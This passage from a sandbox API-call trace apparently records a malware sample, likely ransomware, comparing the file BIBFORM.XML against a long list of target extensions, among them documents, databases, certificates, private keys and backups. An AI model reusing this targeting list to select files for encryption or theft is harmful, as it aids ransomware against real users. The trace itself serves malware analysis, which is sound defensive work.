nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 1 [0091.159] lstrlenW (lpString="BIBFORM.XML") returned 11 [0091.159] lstrlenW (lpString=".1cd") returned 4 [0091.159] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0091.159] lstrlenW (lpString=".3ds") returned 4 [0091.159] lstrcmpiW (lpString1=".3ds", lpString2=".XML") returned -1 [0091.159] lstrlenW (lpString=".3fr") returned 4 [0091.159] lstrcmpiW (lpString1=".3fr", lpString2=".XML") returned -1 [0091.159] lstrlenW (lpString=".3g2") returned 4 [0091.159] lstrcmpiW (lpString1=".3g2", lpString2=".XML") returned -1 [0091.159] lstrlenW (lpString=".3gp") returned 4 [0091.159] lstrcmpiW (lpString1=".3gp", lpString2=".XML") returned -1 [0091.159] lstrlenW (lpString=".7z") returned 3 [0091.159] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0091.159] lstrlenW (lpString=".accda") returned 6 [0091.159] lstrcmpiW (lpString1=".accda", lpString2="RM.XML") returned -1 [0091.159] lstrlenW (lpString=".accdb") returned 6 [0091.160] lstrcmpiW (lpString1=".accdb", lpString2="RM.XML") returned -1 [0091.160] lstrlenW (lpString=".accdc") returned 6 [0091.160] lstrcmpiW (lpString1=".accdc", lpString2="RM.XML") returned -1 [0091.160] lstrlenW (lpString=".accde") returned 6 [0091.160] lstrcmpiW (lpString1=".accde", lpString2="RM.XML") returned -1 [0091.160] lstrlenW (lpString=".accdt") returned 6 [0091.160] lstrcmpiW (lpString1=".accdt", lpString2="RM.XML") returned -1 [0091.160] lstrlenW (lpString=".accdw") returned 6 [0091.160] lstrcmpiW (lpString1=".accdw", lpString2="RM.XML") returned -1 [0091.160] lstrlenW (lpString=".adb") returned 4 [0091.160] lstrcmpiW (lpString1=".adb", lpString2=".XML") returned -1 [0091.160] lstrlenW (lpString=".adp") returned 4 [0091.160] lstrcmpiW (lpString1=".adp", lpString2=".XML") returned -1 [0091.160] lstrlenW (lpString=".ai") returned 3 [0091.160] lstrcmpiW (lpString1=".ai", lpString2="XML") returned -1 [0091.160] lstrlenW (lpString=".ai3") returned 4 [0091.160] lstrcmpiW (lpString1=".ai3", lpString2=".XML") returned -1 [0091.160] lstrlenW (lpString=".ai4") returned 4 [0091.161] lstrcmpiW (lpString1=".ai4", lpString2=".XML") returned -1 [0091.161] lstrlenW (lpString=".ai5") returned 4 [0091.161] lstrcmpiW (lpString1=".ai5", lpString2=".XML") returned -1 [0091.161] lstrlenW (lpString=".ai6") returned 4 [0091.161] lstrcmpiW (lpString1=".ai6", lpString2=".XML") returned -1 [0091.161] lstrlenW (lpString=".ai7") returned 4 [0091.161] lstrcmpiW (lpString1=".ai7", lpString2=".XML") returned -1 [0091.161] lstrlenW (lpString=".ai8") returned 4 [0091.161] lstrcmpiW (lpString1=".ai8", lpString2=".XML") returned -1 [0091.161] lstrlenW (lpString=".anim") returned 5 [0091.161] lstrcmpiW (lpString1=".anim", lpString2="M.XML") returned -1 [0091.161] lstrlenW (lpString=".arw") returned 4 [0091.161] lstrcmpiW (lpString1=".arw", lpString2=".XML") returned -1 [0091.161] lstrlenW (lpString=".as") returned 3 [0091.161] lstrcmpiW (lpString1=".as", lpString2="XML") returned -1 [0091.161] lstrlenW (lpString=".asa") returned 4 [0091.161] lstrcmpiW (lpString1=".asa", lpString2=".XML") returned -1 [0091.161] lstrlenW (lpString=".asc") returned 4 [0091.162] lstrcmpiW (lpString1=".asc", lpString2=".XML") returned -1 [0091.162] lstrlenW (lpString=".ascx") returned 5 [0091.162] lstrcmpiW (lpString1=".ascx", lpString2="M.XML") returned -1 [0091.162] lstrlenW (lpString=".asm") returned 4 [0091.162] lstrcmpiW (lpString1=".asm", lpString2=".XML") returned -1 [0091.162] lstrlenW (lpString=".asmx") returned 5 [0091.162] lstrcmpiW (lpString1=".asmx", lpString2="M.XML") returned -1 [0091.162] lstrlenW (lpString=".asp") returned 4 [0091.162] lstrcmpiW (lpString1=".asp", lpString2=".XML") returned -1 [0091.162] lstrlenW (lpString=".aspx") returned 5 [0091.162] lstrcmpiW (lpString1=".aspx", lpString2="M.XML") returned -1 [0091.162] lstrlenW (lpString=".asr") returned 4 [0091.162] lstrcmpiW (lpString1=".asr", lpString2=".XML") returned -1 [0091.162] lstrlenW (lpString=".asx") returned 4 [0091.162] lstrcmpiW (lpString1=".asx", lpString2=".XML") returned -1 [0091.162] lstrlenW (lpString=".avi") returned 4 [0091.162] lstrcmpiW (lpString1=".avi", lpString2=".XML") returned -1 [0091.162] lstrlenW (lpString=".avs") returned 4 [0091.162] lstrcmpiW (lpString1=".avs", lpString2=".XML") returned -1 [0091.162] lstrlenW (lpString=".backup") returned 7 [0091.162] lstrcmpiW (lpString1=".backup", lpString2="ORM.XML") returned -1 [0091.163] lstrlenW (lpString=".bak") returned 4 [0091.163] lstrcmpiW (lpString1=".bak", lpString2=".XML") returned -1 [0091.163] lstrlenW (lpString=".bay") returned 4 [0091.163] lstrcmpiW (lpString1=".bay", lpString2=".XML") returned -1 [0091.163] lstrlenW (lpString=".bd") returned 3 [0091.163] lstrcmpiW (lpString1=".bd", lpString2="XML") returned -1 [0091.163] lstrlenW (lpString=".bin") returned 4 [0091.163] lstrcmpiW (lpString1=".bin", lpString2=".XML") returned -1 [0091.163] lstrlenW (lpString=".bmp") returned 4 [0091.163] lstrcmpiW (lpString1=".bmp", lpString2=".XML") returned -1 [0091.163] lstrlenW (lpString=".bz2") returned 4 [0091.163] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0091.163] lstrlenW (lpString=".c") returned 2 [0091.163] lstrcmpiW (lpString1=".c", lpString2="ML") returned -1 [0091.163] lstrlenW (lpString=".cdr") returned 4 [0091.163] lstrcmpiW (lpString1=".cdr", lpString2=".XML") returned -1 [0091.163] lstrlenW (lpString=".cer") returned 4 [0091.163] lstrcmpiW (lpString1=".cer", lpString2=".XML") returned -1 [0091.163] lstrlenW (lpString=".cf") returned 3 [0091.164] lstrcmpiW (lpString1=".cf", lpString2="XML") returned -1 [0091.164] lstrlenW (lpString=".cfc") returned 4 [0091.164] lstrcmpiW (lpString1=".cfc", lpString2=".XML") returned -1 [0091.164] lstrlenW (lpString=".cfm") returned 4 [0091.164] lstrcmpiW (lpString1=".cfm", lpString2=".XML") returned -1 [0091.164] lstrlenW (lpString=".cfml") returned 5 [0091.164] lstrcmpiW (lpString1=".cfml", lpString2="M.XML") returned -1 [0091.164] lstrlenW (lpString=".cfu") returned 4 [0091.164] lstrcmpiW (lpString1=".cfu", lpString2=".XML") returned -1 [0091.164] lstrlenW (lpString=".chm") returned 4 [0091.164] lstrcmpiW (lpString1=".chm", lpString2=".XML") returned -1 [0091.164] lstrlenW (lpString=".cin") returned 4 [0091.164] lstrcmpiW (lpString1=".cin", lpString2=".XML") returned -1 [0091.164] lstrlenW (lpString=".class") returned 6 [0091.164] lstrcmpiW (lpString1=".class", lpString2="RM.XML") returned -1 [0091.164] lstrlenW (lpString=".clx") returned 4 [0091.165] lstrcmpiW (lpString1=".clx", lpString2=".XML") returned -1 [0091.165] lstrlenW (lpString=".config") returned 7 [0091.165] lstrcmpiW (lpString1=".config", lpString2="ORM.XML") returned -1 [0091.165] lstrlenW (lpString=".cpp") returned 4 [0091.165] lstrcmpiW (lpString1=".cpp", lpString2=".XML") returned -1 [0091.165] lstrlenW (lpString=".cr2") returned 4 [0091.165] lstrcmpiW (lpString1=".cr2", lpString2=".XML") returned -1 [0091.165] lstrlenW (lpString=".crt") returned 4 [0091.165] lstrcmpiW (lpString1=".crt", lpString2=".XML") returned -1 [0091.165] lstrlenW (lpString=".crw") returned 4 [0091.165] lstrcmpiW (lpString1=".crw", lpString2=".XML") returned -1 [0091.165] lstrlenW (lpString=".cs") returned 3 [0091.165] lstrcmpiW (lpString1=".cs", lpString2="XML") returned -1 [0091.165] lstrlenW (lpString=".css") returned 4 [0091.165] lstrcmpiW (lpString1=".css", lpString2=".XML") returned -1 [0091.165] lstrlenW (lpString=".csv") returned 4 [0091.165] lstrcmpiW (lpString1=".csv", lpString2=".XML") returned -1 [0091.166] lstrlenW (lpString=".cub") returned 4 [0091.166] lstrcmpiW (lpString1=".cub", lpString2=".XML") returned -1 [0091.166] lstrlenW (lpString=".dae") returned 4 [0091.166] lstrcmpiW (lpString1=".dae", lpString2=".XML") returned -1 [0091.166] lstrlenW (lpString=".dat") returned 4 [0091.166] lstrcmpiW (lpString1=".dat", lpString2=".XML") returned -1 [0091.166] lstrlenW (lpString=".db") returned 3 [0091.166] lstrcmpiW (lpString1=".db", lpString2="XML") returned -1 [0091.166] lstrlenW (lpString=".dbf") returned 4 [0091.166] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0091.166] lstrlenW (lpString=".dbx") returned 4 [0091.166] lstrcmpiW (lpString1=".dbx", lpString2=".XML") returned -1 [0091.166] lstrlenW (lpString=".dc3") returned 4 [0091.166] lstrcmpiW (lpString1=".dc3", lpString2=".XML") returned -1 [0091.166] lstrlenW (lpString=".dcm") returned 4 [0091.167] lstrcmpiW (lpString1=".dcm", lpString2=".XML") returned -1 [0091.167] lstrlenW (lpString=".dcr") returned 4 [0091.167] lstrcmpiW (lpString1=".dcr", lpString2=".XML") returned -1 [0091.167] lstrlenW (lpString=".der") returned 4 [0091.167] lstrcmpiW (lpString1=".der", lpString2=".XML") returned -1 [0091.167] lstrlenW (lpString=".dib") returned 4 [0091.167] lstrcmpiW (lpString1=".dib", lpString2=".XML") returned -1 [0091.167] lstrlenW (lpString=".dic") returned 4 [0091.167] lstrcmpiW (lpString1=".dic", lpString2=".XML") returned -1 [0091.167] lstrlenW (lpString=".dif") returned 4 [0091.167] lstrcmpiW (lpString1=".dif", lpString2=".XML") returned -1 [0091.167] lstrlenW (lpString=".divx") returned 5 [0091.167] lstrcmpiW (lpString1=".divx", lpString2="M.XML") returned -1 [0091.167] lstrlenW (lpString=".djvu") returned 5 [0091.167] lstrcmpiW (lpString1=".djvu", lpString2="M.XML") returned -1 [0091.167] lstrlenW (lpString=".dng") returned 4 [0091.168] lstrcmpiW (lpString1=".dng", lpString2=".XML") returned -1 [0091.168] lstrlenW (lpString=".doc") returned 4 [0091.168] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0091.168] lstrlenW (lpString=".docm") returned 5 [0091.168] lstrcmpiW (lpString1=".docm", lpString2="M.XML") returned -1 [0091.168] lstrlenW (lpString=".docx") returned 5 [0091.168] lstrcmpiW (lpString1=".docx", lpString2="M.XML") returned -1 [0091.168] lstrlenW (lpString=".dot") returned 4 [0091.168] lstrcmpiW (lpString1=".dot", lpString2=".XML") returned -1 [0091.168] lstrlenW (lpString=".dotm") returned 5 [0091.168] lstrcmpiW (lpString1=".dotm", lpString2="M.XML") returned -1 [0091.168] lstrlenW (lpString=".dotx") returned 5 [0091.168] lstrcmpiW (lpString1=".dotx", lpString2="M.XML") returned -1 [0091.168] lstrlenW (lpString=".dpx") returned 4 [0091.168] lstrcmpiW (lpString1=".dpx", lpString2=".XML") returned -1 [0091.168] lstrlenW (lpString=".dqy") returned 4 [0091.169] lstrcmpiW (lpString1=".dqy", lpString2=".XML") returned -1 [0091.169] lstrlenW (lpString=".dsn") returned 4 [0091.169] lstrcmpiW (lpString1=".dsn", lpString2=".XML") returned -1 [0091.169] lstrlenW (lpString=".dt") returned 3 [0091.169] lstrcmpiW (lpString1=".dt", lpString2="XML") returned -1 [0091.169] lstrlenW (lpString=".dtd") returned 4 [0091.169] lstrcmpiW (lpString1=".dtd", lpString2=".XML") returned -1 [0091.169] lstrlenW (lpString=".dwg") returned 4 [0091.169] lstrcmpiW (lpString1=".dwg", lpString2=".XML") returned -1 [0091.169] lstrlenW (lpString=".dwt") returned 4 [0091.169] lstrcmpiW (lpString1=".dwt", lpString2=".XML") returned -1 [0091.169] lstrlenW (lpString=".dx") returned 3 [0091.169] lstrcmpiW (lpString1=".dx", lpString2="XML") returned -1 [0091.169] lstrlenW (lpString=".dxf") returned 4 [0091.170] lstrcmpiW (lpString1=".dxf", lpString2=".XML") returned -1 [0091.170] lstrlenW (lpString=".edml") returned 5 [0091.170] lstrcmpiW (lpString1=".edml", lpString2="M.XML") returned -1 [0091.170] lstrlenW (lpString=".efd") returned 4 [0091.170] lstrcmpiW (lpString1=".efd", lpString2=".XML") returned -1 [0091.170] lstrlenW (lpString=".elf") returned 4 [0091.170] lstrcmpiW (lpString1=".elf", lpString2=".XML") returned -1 [0091.170] lstrlenW (lpString=".emf") returned 4 [0091.170] lstrcmpiW (lpString1=".emf", lpString2=".XML") returned -1 [0091.170] lstrlenW (lpString=".emz") returned 4 [0091.170] lstrcmpiW (lpString1=".emz", lpString2=".XML") returned -1 [0091.170] lstrlenW (lpString=".epf") returned 4 [0091.170] lstrcmpiW (lpString1=".epf", lpString2=".XML") returned -1 [0091.170] lstrlenW (lpString=".eps") returned 4 [0091.171] lstrcmpiW (lpString1=".eps", lpString2=".XML") returned -1 [0091.171] lstrlenW (lpString=".epsf") returned 5 [0091.171] lstrcmpiW (lpString1=".epsf", lpString2="M.XML") returned -1 [0091.171] lstrlenW (lpString=".epsp") returned 5 [0091.171] lstrcmpiW (lpString1=".epsp", lpString2="M.XML") returned -1 [0091.171] lstrlenW (lpString=".erf") returned 4 [0091.171] lstrcmpiW (lpString1=".erf", lpString2=".XML") returned -1 [0091.171] lstrlenW (lpString=".exr") returned 4 [0091.171] lstrcmpiW (lpString1=".exr", lpString2=".XML") returned -1 [0091.171] lstrlenW (lpString=".f4v") returned 4 [0091.171] lstrcmpiW (lpString1=".f4v", lpString2=".XML") returned -1 [0091.171] lstrlenW (lpString=".fido") returned 5 [0091.171] lstrcmpiW (lpString1=".fido", lpString2="M.XML") returned -1 [0091.171] lstrlenW (lpString=".flm") returned 4 [0091.171] lstrcmpiW (lpString1=".flm", lpString2=".XML") returned -1 [0091.172] lstrlenW (lpString=".flv") returned 4 [0091.172] lstrcmpiW (lpString1=".flv", lpString2=".XML") returned -1 [0091.172] lstrlenW (lpString=".frm") returned 4 [0091.172] lstrcmpiW (lpString1=".frm", lpString2=".XML") returned -1 [0091.172] lstrlenW (lpString=".fxg") returned 4 [0091.172] lstrcmpiW (lpString1=".fxg", lpString2=".XML") returned -1 [0091.172] lstrlenW (lpString=".geo") returned 4 [0091.172] lstrcmpiW (lpString1=".geo", lpString2=".XML") returned -1 [0091.172] lstrlenW (lpString=".gif") returned 4 [0091.172] lstrcmpiW (lpString1=".gif", lpString2=".XML") returned -1 [0091.172] lstrlenW (lpString=".grs") returned 4 [0091.172] lstrcmpiW (lpString1=".grs", lpString2=".XML") returned -1 [0091.172] lstrlenW (lpString=".gz") returned 3 [0091.172] lstrcmpiW (lpString1=".gz", lpString2="XML") returned -1 [0091.172] lstrlenW (lpString=".h") returned 2 [0091.172] lstrcmpiW (lpString1=".h", lpString2="ML") returned -1 [0091.172] lstrlenW (lpString=".hdr") returned 4 [0091.172] lstrcmpiW (lpString1=".hdr", lpString2=".XML") returned -1 [0091.172] lstrlenW (lpString=".hpp") returned 4 [0091.172] lstrcmpiW (lpString1=".hpp", lpString2=".XML") returned -1 [0091.173] lstrlenW (lpString=".hta") returned 4 [0091.173] lstrcmpiW (lpString1=".hta", lpString2=".XML") returned -1 [0091.173] lstrlenW (lpString=".htc") returned 4 [0091.173] lstrcmpiW (lpString1=".htc", lpString2=".XML") returned -1 [0091.173] lstrlenW (lpString=".htm") returned 4 [0091.173] lstrcmpiW (lpString1=".htm", lpString2=".XML") returned -1 [0091.173] lstrlenW (lpString=".html") returned 5 [0091.173] lstrcmpiW (lpString1=".html", lpString2="M.XML") returned -1 [0091.173] lstrlenW (lpString=".icb") returned 4 [0091.173] lstrcmpiW (lpString1=".icb", lpString2=".XML") returned -1 [0091.173] lstrlenW (lpString=".ics") returned 4 [0091.173] lstrcmpiW (lpString1=".ics", lpString2=".XML") returned -1 [0091.173] lstrlenW (lpString=".iff") returned 4 [0091.173] lstrcmpiW (lpString1=".iff", lpString2=".XML") returned -1 [0091.173] lstrlenW (lpString=".inc") returned 4 [0091.174] lstrcmpiW (lpString1=".inc", lpString2=".XML") returned -1 [0091.174] lstrlenW (lpString=".indd") returned 5 [0091.174] lstrcmpiW (lpString1=".indd", lpString2="M.XML") returned -1 [0091.174] lstrlenW (lpString=".ini") returned 4 [0091.174] lstrcmpiW (lpString1=".ini", lpString2=".XML") returned -1 [0091.174] lstrlenW (lpString=".iqy") returned 4 [0091.174] lstrcmpiW (lpString1=".iqy", lpString2=".XML") returned -1 [0091.174] lstrlenW (lpString=".j2c") returned 4 [0091.174] lstrcmpiW (lpString1=".j2c", lpString2=".XML") returned -1 [0091.174] lstrlenW (lpString=".j2k") returned 4 [0091.174] lstrcmpiW (lpString1=".j2k", lpString2=".XML") returned -1 [0091.174] lstrlenW (lpString=".java") returned 5 [0091.174] lstrcmpiW (lpString1=".java", lpString2="M.XML") returned -1 [0091.174] lstrlenW (lpString=".jp2") returned 4 [0091.174] lstrcmpiW (lpString1=".jp2", lpString2=".XML") returned -1 [0091.174] lstrlenW (lpString=".jpc") returned 4 [0091.174] lstrcmpiW (lpString1=".jpc", lpString2=".XML") returned -1 [0091.175] lstrlenW (lpString=".jpe") returned 4 [0091.175] lstrcmpiW (lpString1=".jpe", lpString2=".XML") returned -1 [0091.175] lstrlenW (lpString=".jpeg") returned 5 [0091.175] lstrcmpiW (lpString1=".jpeg", lpString2="M.XML") returned -1 [0091.175] lstrlenW (lpString=".jpf") returned 4 [0091.175] lstrcmpiW (lpString1=".jpf", lpString2=".XML") returned -1 [0091.175] lstrlenW (lpString=".jpg") returned 4 [0091.175] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0091.175] lstrlenW (lpString=".jpx") returned 4 [0091.175] lstrcmpiW (lpString1=".jpx", lpString2=".XML") returned -1 [0091.175] lstrlenW (lpString=".js") returned 3 [0091.175] lstrcmpiW (lpString1=".js", lpString2="XML") returned -1 [0091.175] lstrlenW (lpString=".jsf") returned 4 [0091.175] lstrcmpiW (lpString1=".jsf", lpString2=".XML") returned -1 [0091.175] lstrlenW (lpString=".json") returned 5 [0091.175] lstrcmpiW (lpString1=".json", lpString2="M.XML") returned -1 [0091.175] lstrlenW (lpString=".jsp") returned 4 [0091.175] lstrcmpiW (lpString1=".jsp", lpString2=".XML") returned -1 [0091.175] lstrlenW (lpString=".kdc") returned 4 [0091.175] lstrcmpiW (lpString1=".kdc", lpString2=".XML") returned -1 [0091.176] lstrlenW (lpString=".kmz") returned 4 [0091.176] lstrcmpiW (lpString1=".kmz", lpString2=".XML") returned -1 [0091.176] lstrlenW (lpString=".kwm") returned 4 [0091.176] lstrcmpiW (lpString1=".kwm", lpString2=".XML") returned -1 [0091.176] lstrlenW (lpString=".lasso") returned 6 [0091.176] lstrcmpiW (lpString1=".lasso", lpString2="RM.XML") returned -1 [0091.176] lstrlenW (lpString=".lbi") returned 4 [0091.176] lstrcmpiW (lpString1=".lbi", lpString2=".XML") returned -1 [0091.176] lstrlenW (lpString=".lgf") returned 4 [0091.176] lstrcmpiW (lpString1=".lgf", lpString2=".XML") returned -1 [0091.176] lstrlenW (lpString=".lgp") returned 4 [0091.176] lstrcmpiW (lpString1=".lgp", lpString2=".XML") returned -1 [0091.176] lstrlenW (lpString=".log") returned 4 [0091.176] lstrcmpiW (lpString1=".log", lpString2=".XML") returned -1 [0091.176] lstrlenW (lpString=".m1v") returned 4 [0091.176] lstrcmpiW (lpString1=".m1v", lpString2=".XML") returned -1 [0091.176] lstrlenW (lpString=".m4a") returned 4 [0091.177] lstrcmpiW (lpString1=".m4a", lpString2=".XML") returned -1 [0091.177] lstrlenW (lpString=".m4v") returned 4 [0091.177] lstrcmpiW (lpString1=".m4v", lpString2=".XML") returned -1 [0091.177] lstrlenW (lpString=".max") returned 4 [0091.177] lstrcmpiW (lpString1=".max", lpString2=".XML") returned -1 [0091.177] lstrlenW (lpString=".md") returned 3 [0091.177] lstrcmpiW (lpString1=".md", lpString2="XML") returned -1 [0091.177] lstrlenW (lpString=".mda") returned 4 [0091.177] lstrcmpiW (lpString1=".mda", lpString2=".XML") returned -1 [0091.177] lstrlenW (lpString=".mdb") returned 4 [0091.177] lstrcmpiW (lpString1=".mdb", lpString2=".XML") returned -1 [0091.177] lstrlenW (lpString=".mde") returned 4 [0091.177] lstrcmpiW (lpString1=".mde", lpString2=".XML") returned -1 [0091.177] lstrlenW (lpString=".mdf") returned 4 [0091.177] lstrcmpiW (lpString1=".mdf", lpString2=".XML") returned -1 [0091.177] lstrlenW (lpString=".mdw") returned 4 [0091.177] lstrcmpiW (lpString1=".mdw", lpString2=".XML") returned -1 [0091.178] lstrlenW (lpString=".mef") returned 4 [0091.178] lstrcmpiW (lpString1=".mef", lpString2=".XML") returned -1 [0091.178] lstrlenW (lpString=".mft") returned 4 [0091.178] lstrcmpiW (lpString1=".mft", lpString2=".XML") returned -1 [0091.178] lstrlenW (lpString=".mfw") returned 4 [0091.178] lstrcmpiW (lpString1=".mfw", lpString2=".XML") returned -1 [0091.178] lstrlenW (lpString=".mht") returned 4 [0091.178] lstrcmpiW (lpString1=".mht", lpString2=".XML") returned -1 [0091.178] lstrlenW (lpString=".mhtml") returned 6 [0091.178] lstrcmpiW (lpString1=".mhtml", lpString2="RM.XML") returned -1 [0091.178] lstrlenW (lpString=".mka") returned 4 [0091.178] lstrcmpiW (lpString1=".mka", lpString2=".XML") returned -1 [0091.178] lstrlenW (lpString=".mkidx") returned 6 [0091.178] lstrcmpiW (lpString1=".mkidx", lpString2="RM.XML") returned -1 [0091.178] lstrlenW (lpString=".mkv") returned 4 [0091.178] lstrcmpiW (lpString1=".mkv", lpString2=".XML") returned -1 [0091.178] lstrlenW (lpString=".mos") returned 4 [0091.178] lstrcmpiW (lpString1=".mos", lpString2=".XML") returned -1 [0091.178] lstrlenW (lpString=".mov") returned 4 [0091.178] lstrcmpiW (lpString1=".mov", lpString2=".XML") returned -1 [0091.179] lstrlenW (lpString=".mp3") returned 4 [0091.179] lstrcmpiW (lpString1=".mp3", lpString2=".XML") returned -1 [0091.179] lstrlenW (lpString=".mp4") returned 4 [0091.179] lstrcmpiW (lpString1=".mp4", lpString2=".XML") returned -1 [0091.179] lstrlenW (lpString=".mpeg") returned 5 [0091.179] lstrcmpiW (lpString1=".mpeg", lpString2="M.XML") returned -1 [0091.179] lstrlenW (lpString=".mpg") returned 4 [0091.179] lstrcmpiW (lpString1=".mpg", lpString2=".XML") returned -1 [0091.179] lstrlenW (lpString=".mpv") returned 4 [0091.179] lstrcmpiW (lpString1=".mpv", lpString2=".XML") returned -1 [0091.179] lstrlenW (lpString=".mrw") returned 4 [0091.179] lstrcmpiW (lpString1=".mrw", lpString2=".XML") returned -1 [0091.179] lstrlenW (lpString=".msg") returned 4 [0091.179] lstrcmpiW (lpString1=".msg", lpString2=".XML") returned -1 [0091.179] lstrlenW (lpString=".mxl") returned 4 [0091.179] lstrcmpiW (lpString1=".mxl", lpString2=".XML") returned -1 [0091.179] lstrlenW (lpString=".myd") returned 4 [0091.179] lstrcmpiW (lpString1=".myd", lpString2=".XML") returned -1 [0091.179] lstrlenW (lpString=".myi") returned 4 [0091.179] lstrcmpiW (lpString1=".myi", lpString2=".XML") returned -1 [0091.179] lstrlenW (lpString=".nef") returned 4 [0091.179] lstrcmpiW (lpString1=".nef", lpString2=".XML") returned -1 [0091.180] lstrlenW (lpString=".nrw") returned 4 [0091.180] lstrcmpiW (lpString1=".nrw", lpString2=".XML") returned -1 [0091.180] lstrlenW (lpString=".obj") returned 4 [0091.180] lstrcmpiW (lpString1=".obj", lpString2=".XML") returned -1 [0091.180] lstrlenW (lpString=".odb") returned 4 [0091.180] lstrcmpiW (lpString1=".odb", lpString2=".XML") returned -1 [0091.180] lstrlenW (lpString=".odc") returned 4 [0091.180] lstrcmpiW (lpString1=".odc", lpString2=".XML") returned -1 [0091.180] lstrlenW (lpString=".odm") returned 4 [0091.180] lstrcmpiW (lpString1=".odm", lpString2=".XML") returned -1 [0091.180] lstrlenW (lpString=".odp") returned 4 [0091.180] lstrcmpiW (lpString1=".odp", lpString2=".XML") returned -1 [0091.180] lstrlenW (lpString=".ods") returned 4 [0091.180] lstrcmpiW (lpString1=".ods", lpString2=".XML") returned -1 [0091.180] lstrlenW (lpString=".oft") returned 4 [0091.180] lstrcmpiW (lpString1=".oft", lpString2=".XML") returned -1 [0091.180] lstrlenW (lpString=".one") returned 4 [0091.180] lstrcmpiW (lpString1=".one", lpString2=".XML") returned -1 [0091.180] lstrlenW (lpString=".onepkg") returned 7 [0091.181] lstrcmpiW (lpString1=".onepkg", lpString2="ORM.XML") returned -1 [0091.181] lstrlenW (lpString=".onetoc2") returned 8 [0091.181] lstrcmpiW (lpString1=".onetoc2", lpString2="FORM.XML") returned -1 [0091.181] lstrlenW (lpString=".opt") returned 4 [0091.181] lstrcmpiW (lpString1=".opt", lpString2=".XML") returned -1 [0091.181] lstrlenW (lpString=".oqy") returned 4 [0091.181] lstrcmpiW (lpString1=".oqy", lpString2=".XML") returned -1 [0091.181] lstrlenW (lpString=".orf") returned 4 [0091.181] lstrcmpiW (lpString1=".orf", lpString2=".XML") returned -1 [0091.181] lstrlenW (lpString=".p12") returned 4 [0091.181] lstrcmpiW (lpString1=".p12", lpString2=".XML") returned -1 [0091.181] lstrlenW (lpString=".p7b") returned 4 [0091.181] lstrcmpiW (lpString1=".p7b", lpString2=".XML") returned -1 [0091.181] lstrlenW (lpString=".p7c") returned 4 [0091.181] lstrcmpiW (lpString1=".p7c", lpString2=".XML") returned -1 [0091.181] lstrlenW (lpString=".pam") returned 4 [0091.181] lstrcmpiW (lpString1=".pam", lpString2=".XML") returned -1 [0091.181] lstrlenW (lpString=".pbm") returned 4 [0091.181] lstrcmpiW (lpString1=".pbm", lpString2=".XML") returned -1 [0091.181] lstrlenW (lpString=".pct") returned 4 [0091.181] lstrcmpiW (lpString1=".pct", lpString2=".XML") returned -1 [0091.181] lstrlenW (lpString=".pcx") returned 4 [0091.182] lstrcmpiW (lpString1=".pcx", lpString2=".XML") returned -1 [0091.182] lstrlenW (lpString=".pdd") returned 4 [0091.182] lstrcmpiW (lpString1=".pdd", lpString2=".XML") returned -1 [0091.182] lstrlenW (lpString=".pdf") returned 4 [0091.182] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0091.182] lstrlenW (lpString=".pdp") returned 4 [0091.182] lstrcmpiW (lpString1=".pdp", lpString2=".XML") returned -1 [0091.182] lstrlenW (lpString=".pef") returned 4 [0091.182] lstrcmpiW (lpString1=".pef", lpString2=".XML") returned -1 [0091.182] lstrlenW (lpString=".pem") returned 4 [0091.182] lstrcmpiW (lpString1=".pem", lpString2=".XML") returned -1 [0091.182] lstrlenW (lpString=".pff") returned 4 [0091.182] lstrcmpiW (lpString1=".pff", lpString2=".XML") returned -1 [0091.182] lstrlenW (lpString=".pfm") returned 4 [0091.182] lstrcmpiW (lpString1=".pfm", lpString2=".XML") returned -1 [0091.182] lstrlenW (lpString=".pfx") returned 4 [0091.182] lstrcmpiW (lpString1=".pfx", lpString2=".XML") returned -1 [0091.182] lstrlenW (lpString=".pgm") returned 4 [0091.182] lstrcmpiW (lpString1=".pgm", lpString2=".XML") returned -1 [0091.182] lstrlenW (lpString=".php") returned 4 [0091.183] lstrcmpiW (lpString1=".php", lpString2=".XML") returned -1 [0091.183] lstrlenW (lpString=".php3") returned 5 [0091.183] lstrcmpiW (lpString1=".php3", lpString2="M.XML") returned -1 [0091.183] lstrlenW (lpString=".php4") returned 5 [0091.183] lstrcmpiW (lpString1=".php4", lpString2="M.XML") returned -1 [0091.183] lstrlenW (lpString=".php5") returned 5 [0091.183] lstrcmpiW (lpString1=".php5", lpString2="M.XML") returned -1 [0091.183] lstrlenW (lpString=".phtml") returned 6 [0091.183] lstrcmpiW (lpString1=".phtml", lpString2="RM.XML") returned -1 [0091.183] lstrlenW (lpString=".pict") returned 5 [0091.183] lstrcmpiW (lpString1=".pict", lpString2="M.XML") returned -1 [0091.183] lstrlenW (lpString=".pl") returned 3 [0091.183] lstrcmpiW (lpString1=".pl", lpString2="XML") returned -1 [0091.183] lstrlenW (lpString=".pls") returned 4 [0091.183] lstrcmpiW (lpString1=".pls", lpString2=".XML") returned -1 [0091.183] lstrlenW (lpString=".pm") returned 3 [0091.183] lstrcmpiW (lpString1=".pm", lpString2="XML") returned -1 [0091.183] lstrlenW (lpString=".png") returned 4 [0091.183] lstrcmpiW (lpString1=".png", lpString2=".XML") returned -1 [0091.183] lstrlenW (lpString=".pnm") returned 4 [0091.183] lstrcmpiW (lpString1=".pnm", lpString2=".XML") returned -1 [0091.184] lstrlenW (lpString=".pot") returned 4 [0091.184] lstrcmpiW (lpString1=".pot", lpString2=".XML") returned -1 [0091.184] lstrlenW (lpString=".potm") returned 5 [0091.184] lstrcmpiW (lpString1=".potm", lpString2="M.XML") returned -1 [0091.184] lstrlenW (lpString=".potx") returned 5 [0091.184] lstrcmpiW (lpString1=".potx", lpString2="M.XML") returned -1 [0091.184] lstrlenW (lpString=".ppa") returned 4 [0091.184] lstrcmpiW (lpString1=".ppa", lpString2=".XML") returned -1 [0091.184] lstrlenW (lpString=".ppam") returned 5 [0091.184] lstrcmpiW (lpString1=".ppam", lpString2="M.XML") returned -1 [0091.184] lstrlenW (lpString=".ppm") returned 4 [0091.184] lstrcmpiW (lpString1=".ppm", lpString2=".XML") returned -1 [0091.184] lstrlenW (lpString=".pps") returned 4 [0091.184] lstrcmpiW (lpString1=".pps", lpString2=".XML") returned -1 